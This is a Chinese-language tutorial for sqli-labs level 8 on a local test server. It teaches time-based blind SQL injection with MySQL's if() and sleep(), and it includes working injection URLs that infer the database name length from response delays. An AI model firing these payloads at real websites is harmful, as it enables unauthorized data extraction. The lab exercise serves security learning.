前序

首先欢迎大家进入第八关教程,在第八关中我讲讲述两种方法进行注入测试,重点演示第二种方法,可能大家有更多的方法,但是我会选择两种比较简单并且能和前面串联起来的方法进行演示。

补充基础知识

声明

由于我们之前有关卡讲过BOOL盲注,所以我们不在进行赘述,我们直接使用新的方法(时间盲注),并且补充该方法的知识点。

if(condition,A,B)

解释:如果条件成立,则执行A,否则执行B;
演示(首先要是用use进入数据库):
image.png
进入后,使用该语句:

  1. select if(1>2,3,4);
  1. <br />结果为:<br />![image.png](https://cdn.nlark.com/yuque/0/2021/png/2903465/1619611939678-f4822815-5489-4ca2-aa84-ff2365f03ff1.png#clientId=u526ef16b-16d0-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=157&id=u3903c437&margin=%5Bobject%20Object%5D&name=image.png&originHeight=157&originWidth=533&originalType=binary&ratio=1&rotation=0&showTitle=false&size=7168&status=done&style=none&taskId=u490594d8-7879-4d4c-af73-9c097e13f59&title=&width=533)

时间盲注

在这里我们使用延时的方法进行测试;
所以我们不得不提及一个函数就是sleep()该函数操作比较简单,就不进行赘述,只做一些简单的说明,从字面意思上理解,就是睡眠,所以以秒为单位,括号中数字是几就会执行多少;

正文

欢迎进入第八关!!!
image.png
那么我们开始还是像之前一样,进行寻找是否存在注入漏洞…
使用的URL为:

http://127.0.0.1/sqli-labs/Less-8/?id=1
结果为:<br />![image.png](https://cdn.nlark.com/yuque/0/2021/png/2903465/1619612845568-d54f379d-1013-4c0f-956f-bcd48debc317.png#clientId=u526ef16b-16d0-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=515&id=u05397c17&margin=%5Bobject%20Object%5D&name=image.png&originHeight=1030&originWidth=1920&originalType=binary&ratio=1&rotation=0&showTitle=false&size=452002&status=done&style=none&taskId=u28198d34-23b7-4890-81a8-87e87bcb341&title=&width=960)<br />继续使用URL为:
http://127.0.0.1/sqli-labs/Less-8/?id=1'

结果为:
image.png
所以存在注入漏洞!

根据以上的补充知识点,进行测试,在这里我们主要演示sleep()函数的用法;
使用的URL为:

http://127.0.0.1/sqli-labs/Less-8/?id=1' and if(length(database())=8,1,sleep(5)) --+

返回的页面结果并无的影响!
我们改变长度值,让其等于其他数值;

http://127.0.0.1/sqli-labs/Less-8/?id=1' and if(length(database())=81,1,sleep(5)) --+
我们可以从页面的结果得到,页面刷新的时间缓慢,五秒之后才进一步的加载成功...

所以我们可以根据这些的信息,从而判断,数据库的长度;那么我们可以以此类推,对于相关于数据库的其他信息,我们是否可以用之前几张补充的函数进行查询以及了解呢?答案是肯定的,我们可以更进一步结合BurpSuite进行爆破数据库,从而获得我们所需要的信息。
所以本关到此结束….